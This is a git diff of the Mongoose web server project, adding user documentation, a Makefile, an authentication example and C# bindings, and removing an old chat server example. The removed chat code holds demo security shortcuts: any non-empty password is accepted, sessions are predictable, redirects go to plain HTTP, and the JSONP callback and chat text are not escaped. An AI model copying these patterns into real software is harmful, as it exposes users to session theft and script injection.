Mongoose server instance is designed to be used by a single thread.
It is an error to have more then
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore the best practice is
to call server management functions from the same thread (an IO thread).
On a multi-core systems, many server instances can be created, sharing the
same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
example.
It is an error to pass and store `struct mg_connection *` pointers for
later use to send data. The reason is that they can be invalidated by the
next `mg_poll_server()` call. For such a task,
there is `mg_iterate_over_connections()` API
exists, which sends a callback function to the IO thread, then IO thread
calls specified function for all active connection.
When mongoose buffers in HTTP request and successfully parses it, it calls
appropriate URI handler immediately for GET requests. For POST requests,
Mongoose delays the call until the whole POST request is buffered in memory.
POST data is available to the callback as `struct mg_connection::content`,
and POST data length is in `struct mg_connection::content_len`.
Note that websocket connections are treated the same way. Mongoose buffers
websocket frame in memory, and calls URI handler when frame is fully
buffered. Frame data is available `struct mg_connection::content`, and
data length is in `struct mg_connection::content_len`, i.e. very similar to
the POST request. `struct mg_connection::is_websocket` flag indicates
whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write()` should be used.
+51
View File
@@ -0,0 +1,51 @@
# Mongoose Lua Server Pages
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
functionality.
That means it is possible to write PHP-like scripts with mongoose
using Lua programming language instead of PHP. Lua is known
for it's speed and small size. Mongoose uses Lua version 5.2.3, the
documentation for it can be found at
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
To create a Lua Page, make a file that is called `ANY_NAME.lp`. For example,
`my_page.lp`. It is important to have a file
name that ends up with `.lp`, cause this is the way mongoose recognises
Lua Page file. The contents of the file, just like
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
`&lt;? ?&gt;` blocks, and can appear anywhere on the page.
Mongoose does not send HTTP headers for Lua pages. Therefore,
every Lua Page must begin with HTTP status line and headers, like this:
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
<html><body>
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
</body></html>
Note that this example uses function `mg.write()`, which prints data to the
web page. Using function `mg.write()` is the way to generate web content from
inside Lua code. In addition to `mg.write()`, all standard library functions
are accessible from the Lua code (please check reference manual for details).
Information about the request is available via the `mg.request_info` object.
I contains request method, all headers, etcetera. Please refer to
`struct mg_request_info` definition in
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
to see what is available via the `mg.request_info` object.
Check out [prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp) for some example.
Mongoose exports the following to the Lua Server Page:
mg.write(str) -- writes string to the client
mg.onerror(msg) -- error handler, can be overridden
mg.request_info -- a table with request information
Using Lua scripting it is easy to emulate SSI functionality. For example,
to include the content of another file, one can write:
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
To serve a Lua Page, mongoose creates Lua context. That context is used for
all Lua blocks within the page. That means, all Lua blocks on the same page
share the same context. If one block defines a variable, for example, that
variable is visible in all following blocks.
+147
View File
@@ -0,0 +1,147 @@
# Mongoose Configuration Options
### access\_control\_list
An Access Control List (ACL) allows restrictions to be put on the list of IP
addresses which have access to the web server. In the case of the Mongoose
web server, the ACL is a comma separated list of IP subnets, where each
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
this means to deny only that single IP address.
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
all accesses. On each request the full list is traversed, and
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except those from `192.168/16` subnet. To learn
more about subnet masks, see the
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
Default: not set, all accesses are allowed.
### access\_log\_file
Path to a file for access logs. Either full path, or relative to the
mongoose executable. Default: not set, no query logging is done.
### auth_domain
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
### cgi_interpreter
Path to an executable to be used use as an interpreter for __all__ CGI scripts
regardless script extension. Default: not set, Mongoose looks at
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
For example, if both PHP and perl CGIs are used, then
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
respective CGI scripts. Note that paths should be either full file paths,
or file paths relative to the directory where mongoose executable is located.
If all CGIs use the same interpreter, for example they are all PHP, then
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
shebang line in the CGI scripts can be omitted.
**Note**: PHP scripts must use `php-cgi.exe`, not `php.exe`.
### cgi_pattern
All files that match `cgi_pattern` are treated as CGI files. Default pattern
allows CGI files be anywhere. To restrict CGIs to a certain directory,
use `/path/to/cgi-bin/**.cgi` as a pattern. Note that **full file path** is
matched against the pattern, not the URI.
When Mongoose starts CGI program, it creates new environment for it (in
contrast, usually child program inherits the environment from parent). Several
environment variables however are inherited from Mongoose's environment,
they are: `PATH`, `TMP`, `TEMP`, `TMPDIR`, `PERLLIB`, `MONGOOSE_CGI`. On UNIX
it is also `LD_LIBRARY_PATH`. On Windows it is also `COMSPEC`, `SYSTEMROOT`,
`SystemDrive`, `ProgramFiles`, `ProgramFiles(x86)`, `CommonProgramFiles(x86)`.
Default: `**.cgi$|**.pl$|**.php$`
### dav\_auth\_file
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
The format of that file is the same as for the `.htpasswd` file
used for digest authentication. It can be created and managed by
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
### document_root
A directory to serve. Default: current working directory.
### enable\_directory\_listing
Enable directory listing, either `yes` or `no`. Default: `yes`.
### extra\_mime\_types
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
Extension must include dot. Example:
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
### global\_auth\_file
Path to a global passwords file, either full path or relative to the mongoose
executable. If set, per-directory `.htpasswd` files are ignored,
and all requests are authorised against that file. Use `mongoose -A` to
manage passwords, or third party utilities like
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
Default: not set, per-directory `.htpasswd` files are respected.
### hide\_files\_patterns
A pattern for the files to hide. Files that match the pattern will not
show up in directory listing and return `404 Not Found` if requested. Pattern
must be for a file name only, not including directory name, e.g.
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
not set.
### idle\_timeout\_ms
Timeout for idle connections in milliseconds. Default: `30000` (30 seconds)
### index_files
Comma-separated list of files to be treated as directory index
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
### ssl_certificate
Path to SSL certificate file. The file must be in PEM format,
and it must have both private key and certificate, see for example
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
`listening_port`. Default: not set.
### listening_port
Port to listen on. Port could be prepended by the specific IP address to bind
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
will bind to all addresses. Default: 8080.
### run\_as\_user
Switch to given user credentials after startup. UNIX-only. This option is
required when mongoose needs to bind on privileged port on UNIX, e.g.
$ sudo mongoose -listening_port 80 -run_as_user nobody
Default: not set.
### url\_rewrites
Comma-separated list of URL rewrites in the form of
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
it constructs the file name to show by combining `document_root` and the URI.
However, if the rewrite option is used and `uri_pattern` matches the
requested URI, then `document_root` is ignored. Instead,
`file_or_directory_path` is used, which should be a full path name or
a path relative to the web server's current working directory. Note that
`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_pattern`
is a number, then it is treated as HTTP error code, and `file_or_directory_path`
should be an URI to redirect to. Mongoose will issue `302` temporary redirect
to the specified URI with following parameters:
`?code=HTTP_ERROR_CODE&orig_uri=ORIGINAL_URI&query_string=QUERY_STRING`.
If `uri_pattern` starts with `@` symbol, then Mongoose compares
it with the `HOST` header of the request. If they are equal, Mongoose sets
document root to `file_or_directory_path`, implementing virtual hosts support.
Examples:
# Redirect all accesses to `.doc` files to a special script
mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
# Implement user home directories support
mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
# Redirect 404 errors to a specific error page
mongoose -url_rewrites 404=/cgi-bin/error.cgi
# Virtual hosts example: serve foo.com domain from different directory
mongoose -url_rewrites @foo.com=/var/www/foo.com
Default: not set.
+49
View File
@@ -0,0 +1,49 @@
How To Create A PHP Website With Mongoose
===========================================
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
![screenshot](http://cesanta.com/images/tut_php/tut1.png)
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
![screenshot](http://cesanta.com/images/tut_php/tut2.png)
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML / PHP code:
![screenshot](http://cesanta.com/images/tut_php/tut3.png)
## 4. Save this file as `index.php`:
![screenshot](http://cesanta.com/images/tut_php/tut4.png)
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
![screenshot](http://cesanta.com/images/tut_php/tut5.png)
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_php/tut6.png)
## 7. Download PHP 5.3 zip (do NOT download PHP 5.5 cause you might have missing DLLs problem) from http://windows.php.net/download and extract it to `C:\php5` directory:
![screenshot](http://cesanta.com/images/tut_php/tut7.png)
## 8. Click on the mongoose icon and choose "Edit Settings" menu.:
![screenshot](http://cesanta.com/images/tut_php/tut8.png)
## 9. A settings dialog will appear. Click on `cgi_interpreter` button:
![screenshot](http://cesanta.com/images/tut_php/tut9.png)
## 10. Choose `C:\php5\php-cgi.exe` and click "Save Settings":
![screenshot](http://cesanta.com/images/tut_php/tut10.png)
## 11. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_php/tut11.png)
## 12. A browser will popup displaying `index.php`.
![screenshot](http://cesanta.com/images/tut_php/tut12.png)
+75
View File
@@ -0,0 +1,75 @@
# Mongoose SSL guide
SSL is a protocol that makes web communication secure. To enable SSL
in mongoose, 3 steps are required:
1. Valid certificate file must be created
2. `ssl_certificate` options must be set to contain path to the
certificate file.
3. `listening_ports` option must contain a port number with letter `s`
appended to it, which instructs Mongoose to use SSL for all connections
made to that port.
Below is the `mongoose.conf` file snippet for typical SSL setup:
document_root www_root # Serve files in www_root directory
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
ssl_certificate ssl_cert.pem # Location of certificate file
## How to create SSL certificate file
SSL certificate file is a text file that must contain at least two
sections:
1. A private key
2. A certificate
Both sections should be chunks of text in PEM format. When PEM file is
opened in a text editor, it looks like this:
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
Two aforementioned sections are clearly seen. Typically, those section
are bigger then in the example shown. The text between the `BEGIN` and
`END` is the text representation of binary data, a private key and a
certificate. Therefore, in order to create a certificate file,
* private key must be converted to PEM format
* certificate must be converted to PEM format
* those two should be concatenated into a single file
If the certificate chain in used, a chain file also needs to be
converted into PEM format and appended to the certificate file.
## How SSL works
SSL is a protocol that can encrypt communication between two parties. If third
party observes all messages passed by, it would be very
hard for the third party (though not impossible) to decrypt the communication.
The idea is based on so-called public key encryption. Communicating parties
have two keys: a public key and a private key. A public key is advertised
to everybody, and it is contained in a certificate. A private key is kept
secret. Security algorithm works in a way that anybody can encrypt
a message using public key, and only private key can decrypt it.
This is why web server needs both private key and certificate: private key
is used to decrypt incoming messages, and certificate is used to tell the
public key to the other party. When communication starts, parties exchange
their public keys, and keep private keys to themselves. Man-in-the-middle
who observes the communication is unable to decrypt the messages cause
private keys are required for decryption.
Encryption algorithms are built on top of hard mathematical problem, which
makes it very expensive for man-in-the-middle to compute private keys.
For example, RSA algorithm is based on a mathematical problem of factorization.
It is easy to generate two very large prime numbers `P` and `Q` and make
a product `P * Q`. But given a product, it is very hard to recover these
two prime numbers - this is called factorization.
+86
View File
@@ -0,0 +1,86 @@
# Mongoose User Guide
Mongoose is small and easy to use web server built on top of
mongoose library. It is designed with maximum simplicity in mind. For example,
to share any directory, just drop mongoose executable in that directory,
double-click it (on UNIX, run it from shell) and launch a browser at
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
be changed to a machine's name if a folder is accessed from other computer.
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
Right-click on the icon to pop up a menu, where it is possible to stop
mongoose, or configure it.
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
terminal, optionally followed by configuration parameters
(`mongoose [OPTIONS]`) or configuration file name
(`mongoose [config_file_name]`) starts the
web server:
$ mongoose -document_root /var/www # Running mongoose with cmdline options
$ mongoose /etc/my_config.txt # Running mongoose with config file
$ mongoose # Running with no parameters. This will
# serve current directory on port 8080
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
stops the server.
When started, mongoose first searches for the configuration file.
If configuration file is specified explicitly in the command line, then
specified configuration file is used.
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
where binary is located, and use it. Configuration file can be absent.
Configuration file is a sequence of lines, each line containing
command line argument name and it's value. Empty lines and lines beginning
with `#` are ignored. Here is the example of `mongoose.conf` file:
# This is a comment
document_root C:\www
listening_port 80
ssl_certificate C:\mongoose\ssl_cert.pem
Command line arguments are highest priority and can override
configuration file settings. For example, if `mongoose.conf` has line
`document_root /var/www`, and mongoose has been started as
`mongoose -document_root /etc`, then `/etc` directory will be used as
document root.
Note that configuration options on the command line must start with `-`,
and their names are the same as in the config file. Exampli gratia,
the following two setups are equivalent:
$ mongoose -listening_port 1234 -document_root /var/www
$ cat > mongoose.conf
listening_ports 1234
document_root /var/www
^D
$ mongoose
Mongoose can also be used to modify `.htpasswd` passwords file:
$ mongoose -A .htpasswd mydomain.com user_name user_password
Unlike other web servers, mongoose does not require CGI scripts be located in
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
recognized by the file name pattern. Mongoose uses shell-like glob
patterns. Pattern match starts at the beginning of the string, so essentially
patterns are prefix patterns. Syntax is as follows:
** Matches everything
* Matches everything but slash character, '/'
? Matches any character
$ Matches the end of the string
| Matches if pattern on the left side or the right side matches.
All other characters in the pattern match themselves. Examples:
# Pattern Meaning
**.cgi$ Any string that ends with .cgi
/foo Any string that begins with /foo
**a$|**b$ Any string that ends with a or b
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
+61 -9
View File
@@ -1,10 +1,62 @@
CFLAGS= -W -Wall -I.. -pthread -g
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
RM = rm -rf
OUT = -o $@
all:
OS=`uname`; \
test "$$OS" = Linux && LIBS="-ldl" ; \
$(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello;
$(CC) $(CFLAGS) upload.c ../mongoose.c $$LIBS $(ADD) -o upload;
$(CC) $(CFLAGS) post.c ../mongoose.c $$LIBS $(ADD) -o post;
$(CC) $(CFLAGS) -DUSE_WEBSOCKET websocket.c ../mongoose.c $$LIBS $(ADD) -o websocket;
$(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat
ifeq ($(OS),Windows_NT)
MSVC = ../../vc6
RM = del /q /f
OUT =
CC = $(MSVC)/bin/cl
CFLAGS = /MD /TC /nologo /W3 /I$(MSVC)/include /I..
CFLAGS += /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
CFLAGS += $(CFLAGS_EXTRA)
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S),Linux)
CFLAGS += -ldl
endif
ifeq ($(UNAME_S),Darwin)
endif
endif
all: hello websocket server post multi_threaded upload auth
# To enable Lua in a server, uncomment following lines
LUA = ../lua-5.2.3/src
#CFLAGS += -I$(LUA) -L$(LUA) -llua -DMONGOOSE_USE_LUA
server: server.c ../mongoose.c
$(CC) server.c ../mongoose.c $(OUT) $(CFLAGS)
hello: hello.c ../mongoose.c
$(CC) hello.c ../mongoose.c $(OUT) $(CFLAGS)
websocket: websocket_html.c websocket.c ../mongoose.c
$(CC) websocket.c websocket_html.c ../mongoose.c $(OUT) $(CFLAGS)
post: post.c ../mongoose.c
$(CC) post.c ../mongoose.c $(OUT) $(CFLAGS)
multi_threaded: multi_threaded.c ../mongoose.c
$(CC) multi_threaded.c ../mongoose.c $(OUT) $(CFLAGS)
upload: upload.c ../mongoose.c
$(CC) upload.c ../mongoose.c $(OUT) $(CFLAGS)
auth: auth.c ../mongoose.c
$(CC) auth.c ../mongoose.c $(OUT) $(CFLAGS)
mjpg: mjpg.c ../mongoose.c
$(CC) mjpg.c ../mongoose.c $(OUT) $(CFLAGS)
websocket_html.c: websocket.html
perl mkdata.pl $< > $@
u:
g++ unit_test.c -Wall -W -pedantic -lssl -g -O0 $(CFLAGS_EXTRA) && ./a.out
clean:
-@$(RM) hello mjpg upload post websocket auth server multi_threaded websocket_html.c *.exe *.dSYM *.obj .*o
+36
View File
@@ -0,0 +1,36 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_AUTH) {
int result = MG_FALSE; // Not authorized
FILE *fp;
// To populate passwords file, do
// mongoose -A my_passwords.txt mydomain.com admin admin
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
result = mg_authorize_digest(conn, fp);
fclose(fp);
}
return result;
}
return MG_FALSE;
}
int main(void) {
struct mg_server *server = mg_create_server(NULL, ev_handler);
mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", ".");
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+37
View File
@@ -0,0 +1,37 @@
// This file is part of mongoose web server project,
// https://github.com/cesanta/mongoose
using System;
using System.Runtime.InteropServices;
public class Program {
static private int EventHandler(MongooseEvent ev) {
if (ev.type != 1) {
return 0; // Mark as unhandled
}
MongooseRequestInfo request_info = (MongooseRequestInfo)
Marshal.PtrToStructure(ev.request_info, typeof(MongooseRequestInfo));
if (request_info.uri != "/test") {
return 0; // Mark as unhandled
}
Mongoose.write(ev.conn, "HTTP/1.1 200 OK\r\n\r\n");
Mongoose.write(ev.conn, "Hello from C#!\n");
return 1; // Mark as handled
}
static void Main() {
Mongoose web_server = new Mongoose(".", "9000",
new MongooseEventHandler(EventHandler));
Console.WriteLine("Mongoose v." + web_server.version_ + " started.");
Console.WriteLine("Press enter to exit program.");
// Serve requests until user presses "enter" on a keyboard
Console.ReadLine();
web_server.stop();
}
}
+93
View File
@@ -0,0 +1,93 @@
// This file is part of mongoose web server project,
// https://github.com/cesanta/mongoose
using System;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
};
// mongoose.h :: struct mg_request_info
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
[MarshalAs(UnmanagedType.LPTStr)] public string request_method;
[MarshalAs(UnmanagedType.LPTStr)] public string uri;
[MarshalAs(UnmanagedType.LPTStr)] public string http_version;
[MarshalAs(UnmanagedType.LPTStr)] public string query_string;
[MarshalAs(UnmanagedType.LPTStr)] public string remote_user;
public int remote_ip;
public int remote_port;
public int is_ssl;
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)]
public MongooseHeader[] http_headers;
};
[StructLayout(LayoutKind.Sequential)] public struct MongooseEvent {
public int type;
public IntPtr user_data;
public IntPtr conn_data;
public IntPtr event_param;
public IntPtr conn;
public IntPtr request_info;
};
public delegate int MongooseEventHandlerN(ref MongooseEvent ev);
public delegate int MongooseEventHandler(MongooseEvent ev);
public class Mongoose {
public const string dll_name_ = "mongoose";
public string version_ = "??";
// These are here to store a ref to the callbacks
// while they are over in unmanaged code, to prevent garbage collection.
private event MongooseEventHandlerN delegates;
private IntPtr ctx_;
[DllImport(dll_name_)] private static extern
IntPtr mg_start([MarshalAs(UnmanagedType.LPArray,
ArraySubType=UnmanagedType.LPTStr)] string[] options,
MongooseEventHandlerN callback,
IntPtr user_data);
[DllImport(dll_name_)] private static extern void mg_stop(IntPtr ctx);
[DllImport(dll_name_)] private static extern IntPtr mg_version();
[DllImport(dll_name_)] public static extern int mg_write(IntPtr conn,
string data, int length);
public Mongoose(string document_root,
string listening_ports,
MongooseEventHandler event_handler) {
version_ = Marshal.PtrToStringAnsi(mg_version());
string[] options = {
"document_root", document_root,
"listening_ports", listening_ports,
null
};
MongooseEventHandlerN cb = delegate(ref MongooseEvent ev) {
return event_handler(ev);
};
// Prevent garbage collection
delegates += cb;
ctx_ = mg_start(options, cb, IntPtr.Zero);
}
public static int write(IntPtr conn, string data) {
return mg_write(conn, data, data.Length);
}
public void stop() {
if (this.ctx_ != IntPtr.Zero) {
mg_stop(this.ctx_);
}
this.ctx_ = IntPtr.Zero;
}
~Mongoose() {
stop();
}
}
+8 -380
View File
@@ -1,387 +1,15 @@
// This file is part of the Mongoose project, http://code.google.com/p/mongoose
// It implements an online chat server. For more details,
// see the documentation on the project web site.
// To test the application,
// 1. type "make" in the directory where this file lives
// 2. point your browser to http://127.0.0.1:8081
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <time.h>
#include <stdarg.h>
#include <pthread.h>
#include "mongoose.h"
#define MAX_USER_LEN 20
#define MAX_MESSAGE_LEN 100
#define MAX_MESSAGES 5
#define MAX_SESSIONS 2
#define SESSION_TTL 120
static const char *authorize_url = "/authorize";
static const char *login_url = "/login.html";
static const char *ajax_reply_start =
"HTTP/1.1 200 OK\r\n"
"Cache: no-cache\r\n"
"Content-Type: application/x-javascript\r\n"
"\r\n";
// Describes single message sent to a chat. If user is empty (0 length),
// the message is then originated from the server itself.
struct message {
long id; // Message ID
char user[MAX_USER_LEN]; // User that have sent the message
char text[MAX_MESSAGE_LEN]; // Message text
time_t timestamp; // Message timestamp, UTC
};
// Describes web session.
struct session {
char session_id[33]; // Session ID, must be unique
char random[20]; // Random data used for extra user validation
char user[MAX_USER_LEN]; // Authenticated user
time_t expire; // Expiration timestamp, UTC
};
static struct message messages[MAX_MESSAGES]; // Ringbuffer for messages
static struct session sessions[MAX_SESSIONS]; // Current sessions
static long last_message_id;
// Protects messages, sessions, last_message_id
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
// Get session object for the connection. Caller must hold the lock.
static struct session *get_session(const struct mg_connection *conn) {
int i;
char session_id[33];
time_t now = time(NULL);
mg_get_cookie(conn, "session", session_id, sizeof(session_id));
for (i = 0; i < MAX_SESSIONS; i++) {
if (sessions[i].expire != 0 &&
sessions[i].expire > now &&
strcmp(sessions[i].session_id, session_id) == 0) {
break;
}
}
return i == MAX_SESSIONS ? NULL : &sessions[i];
}
static void get_qsvar(const struct mg_request_info *request_info,
const char *name, char *dst, size_t dst_len) {
const char *qs = request_info->query_string;
mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
}
// Get a get of messages with IDs greater than last_id and transform them
// into a JSON string. Return that string to the caller. The string is
// dynamically allocated, caller must free it. If there are no messages,
// NULL is returned.
static char *messages_to_json(long last_id) {
const struct message *message;
int max_msgs, len;
char buf[sizeof(messages)]; // Large enough to hold all messages
// Read-lock the ringbuffer. Loop over all messages, making a JSON string.
pthread_rwlock_rdlock(&rwlock);
len = 0;
max_msgs = sizeof(messages) / sizeof(messages[0]);
// If client is too far behind, return all messages.
if (last_message_id - last_id > max_msgs) {
last_id = last_message_id - max_msgs;
}
for (; last_id < last_message_id; last_id++) {
message = &messages[last_id % max_msgs];
if (message->timestamp == 0) {
break;
}
// buf is allocated on stack and hopefully is large enough to hold all
// messages (it may be too small if the ringbuffer is full and all
// messages are large. in this case asserts will trigger).
len += snprintf(buf + len, sizeof(buf) - len,
"{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
message->user, message->text, message->timestamp, message->id);
assert(len > 0);
assert((size_t) len < sizeof(buf));
}
pthread_rwlock_unlock(&rwlock);
return len == 0 ? NULL : strdup(buf);
}
// If "callback" param is present in query string, this is JSONP call.
// Return 1 in this case, or 0 if "callback" is not specified.
// Wrap an output in Javascript function call.
static int handle_jsonp(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char cb[64];
get_qsvar(request_info, "callback", cb, sizeof(cb));
if (cb[0] != '\0') {
mg_printf(conn, "%s(", cb);
}
return cb[0] == '\0' ? 0 : 1;
}
// A handler for the /ajax/get_messages endpoint.
// Return a list of messages with ID greater than requested.
static void ajax_get_messages(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char last_id[32], *json;
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
mg_printf(conn, "[%s]", json);
free(json);
}
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// Allocate new message. Caller must hold the lock.
static struct message *new_message(void) {
static int size = sizeof(messages) / sizeof(messages[0]);
struct message *message = &messages[last_message_id % size];
message->id = last_message_id++;
message->timestamp = time(0);
return message;
}
static void my_strlcpy(char *dst, const char *src, size_t len) {
strncpy(dst, src, len);
dst[len - 1] = '\0';
}
// A handler for the /ajax/send_message endpoint.
static void ajax_send_message(struct mg_connection *conn,
const struct mg_request_info *request_info) {
struct message *message;
struct session *session;
char text[sizeof(message->text) - 1];
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
get_qsvar(request_info, "text", text, sizeof(text));
if (text[0] != '\0') {
// We have a message to store. Write-lock the ringbuffer,
// grab the next message and copy data into it.
pthread_rwlock_wrlock(&rwlock);
message = new_message();
// TODO(lsm): JSON-encode all text strings
session = get_session(conn);
assert(session != NULL);
my_strlcpy(message->text, text, sizeof(text));
my_strlcpy(message->user, session->user, sizeof(message->user));
pthread_rwlock_unlock(&rwlock);
}
mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// Redirect user to the login form. In the cookie, store the original URL
// we came from, so that after the authorization we could redirect back.
static void redirect_to_login(struct mg_connection *conn,
const struct mg_request_info *request_info) {
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: original_url=%s\r\n"
"Location: %s\r\n\r\n",
request_info->uri, login_url);
}
// Return 1 if username/password is allowed, 0 otherwise.
static int check_password(const char *user, const char *password) {
// In production environment we should ask an authentication system
// to authenticate the user.
// Here however we do trivial check that user and password are not empty
return (user[0] && password[0]);
}
// Allocate new session object
static struct session *new_session(void) {
int i;
time_t now = time(NULL);
pthread_rwlock_wrlock(&rwlock);
for (i = 0; i < MAX_SESSIONS; i++) {
if (sessions[i].expire == 0 || sessions[i].expire < now) {
sessions[i].expire = time(0) + SESSION_TTL;
break;
}
}
pthread_rwlock_unlock(&rwlock);
return i == MAX_SESSIONS ? NULL : &sessions[i];
}
// Generate session ID. buf must be 33 bytes in size.
// Note that it is easy to steal session cookies by sniffing traffic.
// This is why all communication must be SSL-ed.
static void generate_session_id(char *buf, const char *random,
const char *user) {
mg_md5(buf, random, user, NULL);
}
static void send_server_message(const char *fmt, ...) {
va_list ap;
struct message *message;
pthread_rwlock_wrlock(&rwlock);
message = new_message();
message->user[0] = '\0'; // Empty user indicates server message
va_start(ap, fmt);
vsnprintf(message->text, sizeof(message->text), fmt, ap);
va_end(ap);
pthread_rwlock_unlock(&rwlock);
}
// A handler for the /authorize endpoint.
// Login page form sends user name and password to this endpoint.
static void authorize(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char user[MAX_USER_LEN], password[MAX_USER_LEN];
struct session *session;
// Fetch user name and password.
get_qsvar(request_info, "user", user, sizeof(user));
get_qsvar(request_info, "password", password, sizeof(password));
if (check_password(user, password) && (session = new_session()) != NULL) {
// Authentication success:
// 1. create new session
// 2. set session ID token in the cookie
// 3. remove original_url from the cookie - not needed anymore
// 4. redirect client back to the original URL
//
// The most secure way is to stay HTTPS all the time. However, just to
// show the technique, we redirect to HTTP after the successful
// authentication. The danger of doing this is that session cookie can
// be stolen and an attacker may impersonate the user.
// Secure application must use HTTPS all the time.
my_strlcpy(session->user, user, sizeof(session->user));
snprintf(session->random, sizeof(session->random), "%d", rand());
generate_session_id(session->session_id, session->random, session->user);
send_server_message("<%s> joined", session->user);
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: session=%s; max-age=3600; http-only\r\n" // Session ID
"Set-Cookie: user=%s\r\n" // Set user, needed by Javascript code
"Set-Cookie: original_url=/; max-age=0\r\n" // Delete original_url
"Location: /\r\n\r\n",
session->session_id, session->user);
} else {
// Authentication failure, redirect to login.
redirect_to_login(conn, request_info);
}
}
// Return 1 if request is authorized, 0 otherwise.
